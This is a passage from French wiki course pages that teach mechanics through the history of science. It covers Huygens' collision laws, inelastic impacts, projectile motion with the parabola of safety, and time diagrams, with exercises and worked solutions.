c'est vrai quelles que soient P et Vo ! Il suffit de prendre P et Vo tels que m1.(V1-Vo) = P et m2.(V2-Vo) = -P ! Ainsi Huygens a-t-il découvert une loi très importante : <math> {l'impulsion totale se conserve} </math> . Mais Huygens nota plus encore dans ses équations : la vitesse relative des deux boules P/m1 +P/m2 se transformait en son opposée , lors du choc. Mais pas forcément dans ses expériences! Huygens en considérant un point purement mathématique , appelé G , barycentre de masse , tel que OG = (m1 OB1 + m2 OB2 )/(m1+m2) trouva une loi, appelée par lui '''LA loi Remarquable''' : ce point mathématique G , quelle que soit la violence du choc , continuait sans "frémir" son mouvement uniforme ! Enfin , il nota un effet qui généralisait une proposition déjà faite par Torricelli ( -1647) : si les boules étaient lancées par gravité pendulaire , la première de la hauteur H1 et l'autre de la hauteur H2 , après le choc les hauteurs H'1 et H'2 étaient telles que m1.H.+m2.H2 se conservait. Autrement dit par la loi de Torricelli : soit la quantité 1/2 mV^2 := P^2/2m appelée l'énergie cinétique : l'énergie cinétique totale se conservait ! hélas les expériences n'étaient pas concluantes à son époque. (Bien plus tard , Leibniz reprît cette proposition à son compte pour les chocs élastiques). == Exercice de TP-cours == Soit le cas [m1.V. ; 0 ] : trouver les vitesses après le choc . En écrivant la conservation de la quantité de mouvement totale et celle en module de la vitesse relative , les 2 équations linéaires donnent : V'2 = 2.m1.V/M et V'1 = (m1-m2).V/M (avec M = m1+m2). Sans être très compliquée, ces deux résultats ne sont pas si simples à mettre en évidence par une classe de seconde en TP-cours. Ce que les élèves mettent très vite en évidence est le signe (m1-m2) pour le barreau B1 ; introduire la masse totale M est peu évident et l'écrire en pourcentage des masses est mieux perçu : V'2 =2 p1 .V et V'1 = (p1-p2).V. Pour Huygens , qui ensuite les mît en pratique dans moult expériences, cela lui prît environ 1 an ( en 1654 sans doute ; il a 25 ans !) == Chocs inélastiques == Newton comprît ce qui était inexact dans la proposition de Huygens : le cas [P ; -P] donnait en réalité [-P' ; P'] avec P' = e P et le facteur de restitution e compris entre 0 et 1; Si e= 0 on dit que le choc est complètement inélastique (les deux Boules restent collées). Evidemment dans ce cas , il y a perte d'énergie cinétique . Bien plus tard , Sadi Carnot(-1832) indiqua la perte d'énergie : 1/2 m1 (V'1-V1)^2 +1/2 m2(V'2-V2)^2 ( à faire en exercice ; on voit déjà que cette perte est indépendante du référentiel galiléen choisi). Ainsi , entre les premiers travaux de Galilée , puis de Torricelli , de Kircher , de Huygens , de Wren , de Newton , il s'écoula 80 ans , juste pour établir les résultats d'une expérience qui ne nous apparaît simple aujourd'hui que parce que le concept d'impulsion est bien compris, et parce que sera généralisé le Principe de la conservation de la quantité de mouvement. ==Résumé== Pour tout système isolé , l'impulsion totale se conserve : {{exemple|Enoncé|Principe de la conservation de l'impulsion|<math> P_{totale}^{Systeme \cdot isole} = cste</math>}} On peut aussi le dire, comme l'a dit Huygens : pour un système isolé , décomposé en deux sous systèmes S1 et S2 , on aura échange d'impulsion : {{exemple|Enoncé|Principe de la conservation de l'impulsion|<math> \Delta P_1^{S1} = - \Delta P_2^{S2}</math>}} Et cette loi ne dépend pas du référentiel galiléen choisi. De plus : Dans un choc élastique , l'énergie cinétique (1/2mv²) totale se conserve. Sinon, il y a perte d'énergie. _______________________________ ==Exercices== Attention : en combinant la leçon chute libre et la leçon choc frontal , on arrive déjà à cette chose remarquable : on ne sait pas résoudre certains exercices d'énoncés simples : même en 2006, la mécanique est redoutablement difficile. Et surtout, on ne maîtrise pas bien ce que l'on sait faire et ce que l'on ne sait pas faire , même si des progrès récents ont permis de progresser. Néanmoins, on s'attachera à la règle de modestie prudente : donner les solutions des exercices posés . ===Exercice m<<M=== Montrer que si une balle légère(masse m1 = m) rencontre un traîneau ( parfaitement glissant) de masse m2 = M >>m , avec la vitesse v , alors la balle rebondit avec une vitesse -v et le traineau recule un peu : examiner la conservation de l'énergie soigneusement.(Exercice que Huygens résolût contre l'opinion de son maître à penser, Descartes). ===Exercice balle de Zénon.=== Une balle lancée verticalement avec la vitesse Vo monte d'une hauteur h et heurte le sol horizontal avec un coefficient de restitution e . Montrer que bien qu'il y ait une infinité de chocs , la balle reste au sol au bout d'un temps fini ( célèbre pseudo-paradoxe des Eléates). ===Exercice Rebonds=== Une balle de ping-pong est placée sur une balle super-élastique et on lâche le tout d'une hauteur de 1m : à quelle hauteur remonte la balle de ping-pong ? ( Attention : ne pas faire l'expérience avec une petite bille d'acier : cela peut être dangereux!). **Généraliser . ===Exercice Ascenseur.**=== Une super-balle(e=1) est dans un ascenseur. Elle rebondit toujours à la hauteur H . L'ascenseur monte avec une accélération g0 ( c'est à dire V= g0.t). Qu'arrive-t-il ? Puis l'ascenseur continue avec la vitesse constante Vo ; et enfin s'arrête avec la même décélération : qu'arrive-t-il ? ===Exercice pendules de Kircher.=== 5 billes sont placées côte à côte entre deux murs parfaitement élastiques: On prend la première et on l'envoie avec la vitesse Vo : montrer que le mouvement sera périodique. ( ce jouet est souvent réalisé avec 5 petits pendules indentiques. Kircher est le premier (?) à avoir étudié assez loin des cas de ce genre. ===Exercice thermalisation=== Montrer que dans un choc élastique les différences d'énergie cinétique après le choc sont moindre qu'avant le choc. En déduire que si des balles sont coincées dans deux récipients, de part et d'autre d'un piston libre de masse M , elles finiront par avoir la même énergie cinétique , via le transfert du piston. == Solutions == ===Exercice m<< M.=== Cela résulte de l'exercice de cours : V'1 = m-M .V/(m+M) = -V[1 -2m/(M+m)] ; Cependant que la raquette recule de V 2m/(M+m). L'énergie cinétique*2 est donc mV²(1-eps)² + M V² 4m²/(m+M)² : il faut donc vérifier que (1-eps)² + 4Mm/(m+M)² = 1 ; soit : -4m/(m+M) + 4 m²/ (m+M)² + 4 Mm/(m+M)²= 0 ? soit -(m+M) +m + M = 0 ;OK. ( l'erreur est souvent de négliger des termes o(m²) sans en négliger d'autres, ce qui fût le cas de Descartes). ===Exercice Zénon.=== La balle retombe avec la vitesse Vo en un temps 2Vo/g ; et tout recommence avec la vitesse e.Vo :le pseudo-paradoxe de la série infinie géomètrique donne une convergence très rapide et donne le temps limite (2Vo/g)/(1-e) , qui est FINI , malgré l'infinité de chocs. Une remarque de pertinence :juste après le choc , le sol a fourni la percussion me.Vo descartes pour faire remonter la balle et reçu la percussion me.Vo au demi-choc suivant, soit un reçu de Delta-P = 2emVo vers le bas , et le rebond dure Delta-t =2eVo secondes. Si bien que <math>\frac{\Delta P}{\Delta t} = mg </math>. Ce genre de remarque a précédé les Principia(1687) de plusieurs décennies. ===Exercice Rebonds.=== Cette petite expérience est étonnante : la balle remonte à environ 9m !En effet la super-balle remonte avec la vitesse V et ejecte la balle de ping-pong avec la vitesse relative 2V , donc 3V par rapport au sol : donc H =3².h : surprenant ! Evidemment il y a conservation de l'énergie car la super-balle ne remonte pas tout à fait à 1m et la balle pas tout à fait à 9m (Voir l'exercice 1). De manière plus réaliste , on trouve dans le commerce des super-balles de rayon double donc de masses M et m =M/8 . On trouve alors : dans le référentiel (R) qui monte à la vitesse de rebond Vo , la grosse balle de masse M part en arrière à la vitesse -2/9 .2 .Vo = -4/9 Vo , soit au total vers le haut avec une vitesse 5/9 .Vo . La petite remonte dans (R) avec la vitesse 14/9 .Vo , soit au total de 23/9 Vo donc remonte à seulement 529/81 H (= 6.53m quand même) , et la grosse remonte à 25/81 H ; évidemment 1 . 529/81 + 8.(25/81) = 9. On peut imaginer mettre une balle de ping-pong sur la petite balle : l'expérience est plus dure à faire mais donnerait + de36m ( au lieu des 49m théoriques pour M >>M1>>m) Evidemment les élèves les plus shadoks mettent la balle de ping-pong dessous : la balle ainsi "adiabatiquement comprimée" peut atteindre des vitesses gigantesques. Dans le cas réaliste m = M/15 , dès que la grosse boule est arrêtée, la petite a l'énergie totale 16mgh et pourrait remonter à 16.h en enlevant prestement la grosse boule : il y faut une certaine adresse! Remarque : le sol n'a pu fournir aucune énergie. Par contre il a fourni de l'impulsion, et on l'a supposé sans recul. ===Exercice Ascenseur.=== Balle dans ascenseur : Prenons comme moment de départ, la date t=0 où la balle rebondit vers le haut avec la vitesse Vo , donc OB = -1/2gt² +Vo.t et le sol de l'ascenseur monte comme OS =1/2 a t². Le choc C1 a donc lieu au temps t1 = 2Vo/g' avec g' = g+a . La balle remonte alors à la vitesse relative à l'ascenseur qu'on calcule : on trouve Vo! et son mouvement absolu ( avec nouvelle origine des temps t= t1 +t') sera OB = OC1 + (Vo+at1)t' -1/2 g t'² et celui de l'ascenseur continue à être : OS = 1/2.a (t1+t')² . Le choc 2 aura donc "lieu" au temps t1+t2 tel que : 1/2 a.t1² +Vot2 +at1t2 -1/2 g t2² = 1/2 a t1² + at1t2 +1/2 a t2² ; soit : t2 = 2Vo/g' = t1 ! Et la balle rebondira à nouveau avec la vitesse relative à l'ascenseur égale à Vo , donc vitesse absolue Vo + a.(t1+t2) = Vo + a.(2t1) ! etc . Autant dire que dans le référentiel accéléré de l'ascenseur , la balle exécute des rebonds reguliers à intervalles de temps 2Vo/(g+a): c'est "comme si le poids de la balle était apparemment m(g+a)". ===Exercice Kircher.=== B1 touche B2 et s'arrête. B2 fait de même , etc. B5 est éjectée à la vitesse Vo , atteint le mur et revient . Le processus reprend en sens inverse. === Exercice Thermalisation.=== Soit une masse m de vitesse grande u , et une masse M assez lente de vitesse V. La différence d'énergie est D = 1/2.mu² - 1/2.MV² avant le choc. Après le choc élastique, les vitesses sont u' et V' et la différence est D'. On calcule : u' = 2M/S .V -(M-m)/S .u et de même V' = 2m/S .u +(M-m)/S .V ; avec S = M+m. En calculant D', on trouve D' = D[ 1-8mM/(m+M)²]= -D (1 -2(M-m)²/S²) et un terme en uV , dont statistiquement on peut supposer la moyenne nulle. En module , il reste donc |D'| = |D| R avec R <1 . Typiquement en envoyant des neutrons sur des deutons R = 7/9 : on dit qu'on a thermalisé les neutrons rapides via de l'eau lourde. On reverra ce calcul plus loin en introduisant des chocs non frontaux. Il est clair que dans le cas d'un piston "ballotté" par des particules d'énergie cinétique différentes , il y aura transfert d'énergie des "plus chaudes" vers les "plus froides". == Exercices deuxième série == ===Exercice Zénon.=== Une balle lancée horizontalement conserve indéfiniment dans le vide sa vitesse horizontale. Montrer qu'elle parcourt une distance finie avant de glisser au sol ( cf exercice 2). ===Exercice Escalier.*=== Une balle lancée comme en (6/.) est non-élastique (e<1). A un moment elle arrive sur un escalier descendant de marches égales (a = largeur = hauteur) : montrer que le mouvement est périodique si Vo est assez lent [Vo.(2V1/g)/(1-e) < a]. ===Exercice Billiards.=== On admet que lors d'un choc élastique , le rebond suit la loi de Descartes : la vitesse est conservée en module , et l'angle d'incidence donne un angle de reflexion égal. ce rebond caractérise en mathématique un BILLIARD. les problèmes de Billiards sont redoutables. On peut aussi considérer que c'est un rayon de lumière qui se réfléchit. Soit un billiard circulaire: montrer que le cercle central enveloppe des cordes n'est jamais atteint. Soit un billiard elliptique** : montrer q'il existe une petite ellipse de sûreté en général. ===Exercice Fermi, Pasta , Ulam** === Un problème non résolu ! c'est le problème de Fermi, Pasta et Ulam : une bille élastique est lâchée sur un sol dont le mouvement vertical est z = a sin wt , avec w "assez" grand. Montrer qu'il existe des cas périodiques. mais surtout montrer que le mouvement de la bille va être en général une succession d'"amortis" ou de forçage. (Il existe des logiciels qui montrent magnifiquement le "chaos" résultant). ===Exercice détente adiabatique.*=== Sur un axe horizontal glissent 2 Grosses Masses ( M) identiques ( les raquettes), au départ immobiles. On injecte entre les deux , une balle de tennis de masse m , de vitesse Vo : montrer que la vitesse de la balle diminue progressivement (m << M). === Exercice Compression adiabatique.=== Soit une balle allant élastiquement entre deux murs distants de L. Montrer que si l'on rapproche doucement à la vitesse u , un des murs, alors l'énergie cinétique de la balle E augmente doucement comme (L-u.t)^k : trouver k == Solutions, deuxième série == ===Exercice Zénon.=== puisque on a trouvé un temps-fini en (2/.) , la réponse est : X= Vo.t(fini). Escalier large : C'est assez fascinant mais banal : la balle à chaque marche fait une infinité de rebonds mais à distance finie, puis glisse uniformément jusqu'à X = a , tombe et le processus recommence avec la période T = a/Vo , bien que l'on ne puisse pas tracer la trajectoire ! ===Exercice escalier=== mais où est passée la solution que j'ai donnée ? ===Exercice Billiards.=== le cas du cercle est le seul facile : si la bille passe juste par le centre elle ne décrit qu'un diamètre. Sinon , soit AB la première corde et 2 alpha l'angle qu'elle sous-tend : si alpha = p/q . 2Pi , la trajectoire sera fermée et un polygone sera préservé. Sinon , l'ensemble des cordes est dense dans la couronne et ne seront prévervés que les points à l'intérieur du cercle de rayon R cos(alpha). ==== Ellipse==== Plus subtil.Soit AB un rayon lumineux et BC son réfléchi. La bissectrice de l'angle ABc est celle de F1BF2. Soit F'1 le réflechi de F1 dans AB , et de même F'2 celui de F2 dans BC . Alors l'angle F'1 B F'2 a toujours la même médiatrice. On passe donc du triangle F'1BF2 au triangle F1BF'2 par simple rotation autour de B et donc F'1F2 = F1F'2 (:=2a) le point de contact de l'ellipse de foyers F1 et F2 avec le rayon AB est le point Q intersection de AB avec F2F'1 : car F1QA = AQF'1 (par médiatrice) et = BQF2 (opposés par le sommet Q : donc AB est bissectrice extérieure de F1QF2. ce qui démontre la propriété. On rebelote côté BC et intersection avec F1F'2 , qu'on appelle R . Il reste à démontrer que Q et R appartiennent à la même ellipse ; mais oui puisque F1Q +QF2 = F'1Q+QF2 = F'1F2 = 2a . idem pour R et F'2RF1 en ligne doite et vaut aussi 2a. Soit une carte de flot du billard représentant en abscisse l'abscisse curviligne s de A , et l'angle alpha de AB avec la normale en A. Le Korsch et Jodl (1998,ISBN 3-540-57457-3) présente joliment cette carte : evidemment si on tire en rasant , pour alpha voisin de Pi/2, on aura alpha quasi constant. si on augmente , il se produira de petites ondulations. Enfin si le tir est focal, il passera par l'autre foyer : on obtient ainsi la séparatrice . car au-delà le tir croisera F1F2 , et il faut refaire tout, pour montrer que cette fois les rayons restent tangents à une hyperbole de foyers F1 et F2 : donc les rayons resteront localisés dans cette cavité : c'est une propriété bien connue en optique catoptrique de Gauss pour deux cavités de même courbure; A la limite le petit axe est une orbite à 2 points. ce qui complète la description de ce système dynamique. (Un bon livre sur les billiards est le Tabachnikov(2006) ISBN 0-8218-3919-5).Nous reverrons cela dans le cadre du pendule pesant. ===Exercice FPU**=== Sont périodiques les cas où en N périodes la balle monte et descend et rebondit sur un maximum ou un minimum du plancher. En général à part ces cas, le mouvement peut être très compliqué , soit en accroissant l'amplitude , soit en accroissant la période : un tel système a été un des premiers modèles de chaos ( on ne disait pas chaos à l'époque : on disait mouvement irrégulier. Ce qui est fascinant est de voir que par "diffusion d'Arnold" la balle finit par pénétrer des régions de très grandes hauteurs. ===Exercice détente adiabatique.*=== Comme les raquettes s'écartent , la balle subit des amortis successifs , cependant que les raquettes s'éloignent de plus en plus : en admettant que la balle ait cédé équitablement son énergie , chaque raquette part à la vitesse V telle que : MV² = 1/2 mVo². Assez récemment, on a pu montrer ( Xia en 1994?) que par "chocs successifs" la gravité permettait d'envoyer des masses à l'infini en un temps fini ( en mécanique classique). === Exercice compression adiabatique :=== on trouve PV^3 = cste et PV ~ E donc E .V^2 = cste __________________________________________________________________________________________________________________________________________________________ Mécanique, enseignée via l'Histoire des Sciences, la chute libre, avec vitesse initiale (Section3) 8723 46649 2006-07-01T13:04:06Z Guerinsylvie 928 /* Solution-cuvette de Torricelli */ La Chute libre avec vitesse initiale Reprendre dans la wikipedia , l'article sur [[parabole de sûreté]] : Il s'agit du problème de balistique ( dite extérieure) , théorique car on y néglige l'importante influence de la résistance de l'air. Néanmoins, on retiendra avec avantage la formule finale de cette leçon. Soit un boulet B, tombant dans le vide, dans un champ de pesanteur uniforme '''g'''. Sa trajectoire sera dans le plan vertical (O, '''Vo''', '''g'''). ===Loi de chute=== Selon la célèbre loi de la [[chute libre]] énoncée en 1602(?) par [[Galileo Galilei|Galilée]] (1568-1642), le mouvement du boulet B ne dépend ni de sa masse, ni de sa densité. Il est régi par la seule équation : {{exemple|Enoncé|loi de Galilée- Torricelli(1608-1647),notation moderne|<math> \vec{OB}(t)= \frac {1}{2}.\vec{g}.t^2+\vec{V_0}.t</math>}} équation d'une parabole en coordonnées affines (de vecteurs de base ''' g''' et '''Vo'''). D'où tout , pour ceux qui ont bien assimilé le cours de géométrie affine. En particulier, soit Vo verticale , et OH = Vo²/2g l'altitude maximale atteinte. Toutes les paraboles obtenues en changeant seulement la direction de Vo ont un foyer tel que OF = OH , donc ce foyer est situé sur le demi-cercle(CF: cercle des foyers)) de centre O et de rayon OH ( évidemment en changeant l'azimut, le problème est à symétrie de révolution autour de Oz !). le vecteur vitesse Vo étant bissectrice de zOF , la position de F s'en déduit. Puisque OF = OH , O étant sur la parabole , la directrice est z= z(H) : donc toutes les paraboles ont même directrice ! Ayant F et la directrice, cela achève la description de la parabole. ====Parabole de sûreté ==== Pour qu'un point P puisse être atteint par un boulet , il doit se trouver sur une des trajectoires paraboliques possibles, et donc on doit refaire à partir de P les mêmes constructions qu'en O : soit mener un cercle de centre P , tangent à la directrice qui va couper le demi-cercle (CF) en deux points F1 et F2 : le foyer le plus haut correspond à la trajectoire plombée, l'autre à la trajectoire tendue, si connues des pétanqueurs; le cas limite F1=F2 (:=Fo) donne OFoPo en ligne droite : la corde étant focale,les tangentes en O et Po se coupent perpendiculairement sur la directrice : donc l'ensemble des points Po décrit la parabole de foyer O et de directrice z=z(H). Evidemment pour Po , la situation est symétrique: O est point limite pouvant être atteint en tirant de Po avec la vitesse V(Po) telle que V(Po)² = Vo² -2g.z(Po) '''Pour un module Vo donné''', quelle que soit la direction donnée à la « hausse » du canon, certains points seront hors de portée du canon. L'ensemble de ces points forme une région du plan limitée par une courbe (S) qui « entoure » le point O ; au-delà de (S), « on est en sûreté », d'où le nom de la courbe. Dans le cas présent, (S) est une parabole, d'où le titre : '''parabole de sûreté''' : En coordonnées polaires, en partant de l'apex H dela parabole(S), son équation est : {{exemple|Enoncé|Parabole de sûreté de Torricelli(1608-1647) |<math> OP = \frac {2\cdot OH}{1+\cos\theta}</math>}} avec <math>p =2 \cdot OH = \frac{V_0^2}{g}</math> (portée horizontale). ====Note historique==== Cette solution a été donnée par Galilée, améliorée par Torricelli, son élève (de 1640 à 1642). La voici : Soit <math>\phi</math> = angle (OH,Vo). Soit Po le point de portée maximale,sur la courbe(S). Il faut démontrer, avec <math>\theta = 2\phi</math>, que OP = p/2<math>cos^2 \phi</math>, avec p/2 = OH. Soit '''OR''' = '''Vo'''.t0 , le "mouvement comme rien" ! et '''RP''' = +1/2 '''g''' .t0^2 la chute verticale. Prendre crayon+papier. OR est bissectrice de HOPo, quand Po oscule la courbe (S)(on a vu que c'était une corde focale). Le triangle ORPo est donc isocèle. Considérer le losange OPoRQ de côtés égaux OPo=RPo=RQ=OQ = 1/2 g.t0^2, de centre C : la cote <math>z_C</math> vaut juste OH ( car la tangente en Po coupe z=zH en C) ; alors on lit : géométriquement, <math>OC = \frac {OH}{cos\phi}</math> et <math>OP = \frac {OC}{cos\phi}</math> soit <math>OP = \frac {OH}{cos^2 \phi}</math>, CQFD. Cette démonstration historique est d'une élégance que n'a pas la traditionnelle "équation à racine double en tan(alpha)". En fait, Torricelli ne s'embarrassait pas de tout ce fatras précédent : il avait déjà fait ce qu'on appelle le raisonnement de Clairaut.Pour lui , il était clair que Po était le point d'intersection de deux paraboles de tir , tirées "au mieux" pour atteindre Po: soit Q, ce point qui "à la limite " deviendra Po : On aura OQ = 1/2 \vec{g}t'² + \vec{V'}t' et donc \vec{PoQ} = 1/2 \vec{g}(t'²-t²) + \vec{V'}t'-\vec{Vo}t : la limite était donc parallèle à la perpendiculaire à Vo : logique , disait Corinne, car réciproquement pour Po , c'était O le point le plus loin et donc la vitesse en Po était aussi bissectrice, cette fois de (Poz,PoO). Et donc les deux tangentes devaient donc se couper à angle droit en C sur la directrice. Donc PoO était corde focale. Et Torricelli enchaînait sur le calcul précédent. On peut ainsi dire que Torricelli non seulement avait compris la parabole comme antipodaire d'une droite ( ce qui était bien connu), mais avait aussi compris la notion d'enveloppe d'un réseau de trajectoires {<math>T_{alpha}</math>} en considérant l'intersection-limite de {<math>T_{alpha}</math>}et {<math>T_{alpha '}</math>}.Ce qui précède Clairaut d'un siècle! ==Exercices== Cette loi est tout aussi absurde que la loi de chute verticale, car elle néglige la résistance de l'air. Néanmoins les jets d'eau et les feux d'artifice sont tous cités comme exemple. Historiquement, cette loi opposa les bombardieri et Torricelli qui répondit avec une superbe un peu fate: "les boulets peuvent tomber où ils veulent ; ma théorie est une belle spéculation mathématique". Et il est vrai qu'elle donne les éléments qui permettront dans une très prochaine leçon, d'étudier la "balistique". ===Exercice-Portée_maximale=== C'est le classique : démontrer qu'en géométrie affine, pour avoir la portée maximale , il faut tirer selon la bissectrice. Prenons OP horizontal : alors le temps balistique est 2 Vy/g et OP = Vx.t . On veut donc Vx².Vy² max avec Vo² = Vx² + Vy² donnés : d'où la réponse Vx=Vy : Il faut tirer à 45°, ce que tout le monde pressent. La jolie démonstration de Corinne était : en P , la tangente est la même qu'en O en renversant t en -t. Et de plus elles sont perpendiculaires!Donc c'est 45°! ===Exercice-lancer de poids=== Tout aussi classique : montrer qu'un lanceur de poids qui lance un poids à environ 20m d'une hauteur d'environ h= 1.50m ne lance évidemment pas à 45° mais un peu moins ====Solution-lancer de poids ==== certes, soit O le point de lancement: il va chercher l'intersection Po de (S), courbe sûreté et du sol situé 1.50m plus bas: l'angle zOPo étant plus grand que 90°, l'angle de la vitesse avec la verticale sera >45°. D'autre part , la tangente en O' étant voisine de 45° , on peut dire que sa portée a été augmentée d'environ h. Si on écrit l'équation rigoureusement on trouve : soit H = Vo²/2g ; alors la portée est : x = sqrt[4H(H+h)]= H+h-h²/2H +o(h²/H²) ===Exercice-citadelle=== Tout aussi classique: l'avantage de la position haute de la citadelle de hauteur h = 50m : avec les mêmes canons, elle peut tirer plus loin , mais les assaillants moins loin : de quelle différence? ====Solution-citadelle==== D'après l'exercice(§2), la citadelle atteint sqrt( 4H²+ 4Hh) et les assaillants sqrt( 4H²-4Hh);il est clair que la lutte pour ces 2h ~environ = 100 m doit être très âpre. ===Exercice-Roméo&Juliette=== Juliette veut envoyer les clefs à Roméo par dessus le mur du jardin de hauteur h : où doit-elle se placer pour effectuer au mieux la manoeuvre? Et si le mur a une épaisseur e , montrer qu'il lui faut au moins lancer avec une énergie mg(h+e/2) ====Solution-Roméo&Juliette==== Clairement,elle doit se coller au mur et lancer les clefs par un mouvement en lancer de grenade avec l'énergie mgh. Si le mur est très épais , il faut nécessairement atteindre l'arête A du mur (donc avec la vitesse V'²= Vo²-2gh) de manière que la portée AA' soit e , soit V'²/g =e : cela sera d'ailleurs suffisant ; d'où la réponse. Si le mur est un toit de longueur a et de hauteur de faîte h', on démontrera que le résultat est (h+a+h')mg . Elle doit alors s'écarter du mur pour lancer au mieux. ===Exercice-Tir-au-pigeon=== Soit un tir au pigeon d'argile , gedanken sur la Lune : montrer que le tireur doit tirer de même,légèrement en avant de la soucoupe. ====Solution-Tir au pigeon==== Oui: on doit avoir la balle ToB = 1/2 gt² + V1t qui rencontre la soucoupe envoyée selon EoS = 1/2 gt² +Vot et donc V1t = Vot + ToEo où n'intervient pas g ( évidemment en admettant que le tireur instantanément : ce n'est pas le cas ; en réalité il suit à l'oeilleton la soucoupe, la dépasse légèrement et tire). == Exercices deuxième série == === *Chute dans un escalier=== Un balle chute dans un escalier ( marche de largeur l , de hauteur h), avec un coefficient de restitution e . Touver la relation entre vitesse initiale horizontale Vo et e pour que la trajectoire soit une succession d'arcs de parabole égaux. ==== Solution: chute dans un escalier ==== Soit T la période du mouvement : on prendra Vo.T = a . D'autre part soit V la composante verticale descendante d'impact; la balle repartira avec la vitesse V.e , d'où le temps de chute T.g = V(1+e), et l'on veut que e².V² +2g.h = V² , d'où la valeur de e : (1-e)/(1+e) = 2h /[g.(a/V0)²] , bien sûr cela exige que Vo soit "assez faible", si l'on veut sauter de marche en marche. Sinon , il faudra prendre 2h( ou 3h) au lieu de h. ===**Chute dans une cuvette de Torricelli=== Voici un énoncé terrifiant : soit une cuvette formée de 2 plans (A et B)inclinés d'angle alpha, joints en O. On y lâche une balle de la hauteur h au-dessus de A. La balle cognant A fait tic , puis cognant B fera tac. Montrer qu'on peut lâcher la balle de sorte que l'on entende tic[-tactac-tictic-tactac ... périodiquement. Mais montrer aussi que l'on pourra entendre une succession de tics et de tacs assez ahurissante : voilà un très bel exemple de chaos très simple ( une visualisation via scilab est instructive , en faisant varier le paramètre alpha Cf aussi le Korsch et Jodl déjà cité!). Maintenant, on incline "doucement" les deux plans jusqu'à alpha = 0 : à quelle hauteur remonte la balle ? ==== Solution-cuvette de Torricelli==== Soit A le premier point d'impact et OA = a . Alors , il faut a = h . (sin (4alpha))/cos(alpha). Oui, sinon la trajectoire est "tumultueuse" bien que très déterministe! Si on abaisse "adiabatiquement" les plans de la cuvette, on comprend bien que l'on amortit la balle , de sorte que le rebond sera plus faible. ===Saut en longueur=== Exercice piègeux : dans un saut en longueur, on admet que le saut se décompose en acquisition d'une vitesse Vo jusqu' à la planche d'appel ; Puis action sur les cuisses pour ajouter une vitesse suplémentaire de module Vo : quel est l'optimum de la direction de cette vitesse ( ce n'est pas bien sûr 45° ; ni 90° comme répondent souvent des élèves étourdis. ====Réponse saut en longueur==== évidemment 90° donne une vitesse Vo.sqrt(2) à 45° et donc une portée P= 2Vo²/g. Il y a mieux à faire! en fonction de l'angle A de la direction , la durée de chute sera 2Vo sinA /g et donc la portée : L = Vo(1+cosA)2VosinA/g = P sinA. (1+cosA) = 4P sin(A/2)cos^3(A/2) = 4P sqrt [ x (1-x)^3], avec x := sin²(A/2) max pour x/1 = (1-x)/3 = 1/4 donc sin A/2 = 1/2 , soit A = 60°et une portée L = P sqrt(3). En fait quand on regarde les films de saut en longueur, cette analyse n'est pas la bonne. L'athlète optimise sa vitesse de course et son élan , et sa hauteur de centre de gravité. et lors de la chute, il va essayer de "se ramasser " en levant au maximum les jambes : il s'est donc donné un optimum de moment cinétique aussi. L'analyse se fait bien, mais elle est plus compliquée que ce simple exercice. ===Exercice-Principe de relativité**=== Se reporter à la leçon chute libre verticale et adapter le raisonnement de Torricelli : quelle conclusion en tirer ? ====Solution-Principe de relativité==== On obtient la parabole discrète...c'est la très célèbre figure en "funiculaire". Voici le raisonnement de Torricelli(1608-1647) vers 1641, sans doute. A chaque instant, on se place dans le référentiel galiléen tangent de vitesse V(t0), et on déclare que c'est "comme rien" , et par conséquent, la pierre tombe avec un mouvement uniformément accéléré vers le bas: z= -1/2 g (t-to)² : cela redonne bien la loi de chute générale énoncée au début ! En fait, Torricelli fît beaucoup mieux: il savait composer deux vecteurs : <math>\vec{OP} = \vec{OP_1} +\vec{P_1P}</math>. Raisonnons, pour faire simple avec des durées égales T . Et appelons <math> \vec{chute(T)}= \frac{1}{2}\vec{g}T^2 := \vec{K_0}</math> A l'instant kT , la pierre P est en P(k) , avec la vitesse vecteurV(k) , "comptée comme rien". Donc à l'instant (k+1)T , la pierre P est en P(k+1), tel que : <math>\vec{P_kP_{k+1}} = \vec{V_k}\cdot T +\vec{K_0}</math> et <math>\vec{V_{k+1}} = \vec{V_k} + 2\vec{K_0}/T</math> : Ainsi , il énonçait un ALGORITHME de TRACÉ du mouvement, connaissant la position et la vitesse initiales : On voit se tracer (avec scilab, par exemple), la parabole de chute DISCRÈTE : autrement dit , sans avoir rien supposé d'autre que la constance de ce vecteur-Ko, il obtenait vecteur-V(kT) = V(0) + 2(Ko/T).(kT) et puis : <math>\vec{OP}(kT) = \vec{OP}(0) + \vec{V}(0)\cdot kT + \vec{K_0}\cdot k^2</math> . simplement disait-il , parce que , je sais que si la vitesse augmente comme 1,3,5,7 , (2k+1) , la SOMME vaut k². Impressionnante déduction, qui avait émerveillé Mersenne : toutes les paraboles se réduisaient à un seul et même algorithme. Torricelli disait qu'à chaque mesure de temps, la quantité de mouvement grossissait de l'action de la force : il faudra 50ans pour écrire cela ainsi : {{exemple|Enoncé|loi de Torricelli(1608-1647)-Newton(1642-1725),notation moderne|<math> \Delta\vec{P}(t) : = \vec{P}(t+T) - \vec{P}(t) = \vec{F}(t)\cdot T</math>}} Mécanique, enseignée via l'Histoire des Sciences, diagramme horaire(Section5) 8725 46648 2006-07-01T12:01:52Z Guerinsylvie 928 /* Exercice- monticule de Huygens */ ébauche tout est à reprendre ! reprendre [[diagramme horaire]] dans la wikipedia On considère un point se déplaçant sur une courbe. On repère la position de ce point à une date t, par son abscisse curviligne s(t). En cinématique, le graphe [t,s(t)] s'appelle diagramme horaire du mouvement. On s'en sert utilement pour les croisements des trains et l'évaluation des correspondances ou les aiguillages. En outre, il est essentiel de bien comprendre la différence entre la donnée de v= f(t) ou de v=g(s). == Croisements == ===*'''Le TGV'''=== c'est un exemple classique: le TGV fait Paris-Marseille en 3H 05min avec 05 min d'arrêt à Avignon; et le TGV Marseille-Lyon-Paris en 3H 10min avec 10min d'arrêt à Lyon. On se demande où et quand se croisent le train T1 et le train T2 sachant que T1 part à 15H et T2 part à 16H. '''Réponse''': le diagramme montre que les arrêts ne jouent aucun rôle dans ce problème : les trains se croisent donc à 17H, à Valence, ville telle que Paris-Valence=480km, Valence-Marseille=240km. Il existe multitude de problèmes de même sorte dans les recueils de préparation au Certificat d'Études Primaires. === *'''Le jonglage''' === Un cas un peu plus difficile est celui-ci: Un jongleur lance verticalement la balle B1 qui monte à la hauteur H. De l'autre main , il lance la balle B2 d'un mouvement identique, juste au moment où la balle B1 commence à redescendre: où se croisent les balles? La réponse est : à (3/4) H car le croisement aura lieu à la moitié du temps de descente de la balle B2 (il suffit de tracer les 2 diagrammes horaires, pour s'en assurer). Ceci était l'exercice d'une précédente leçon. La cinématique du [[jonglage]] est un joli exercice de 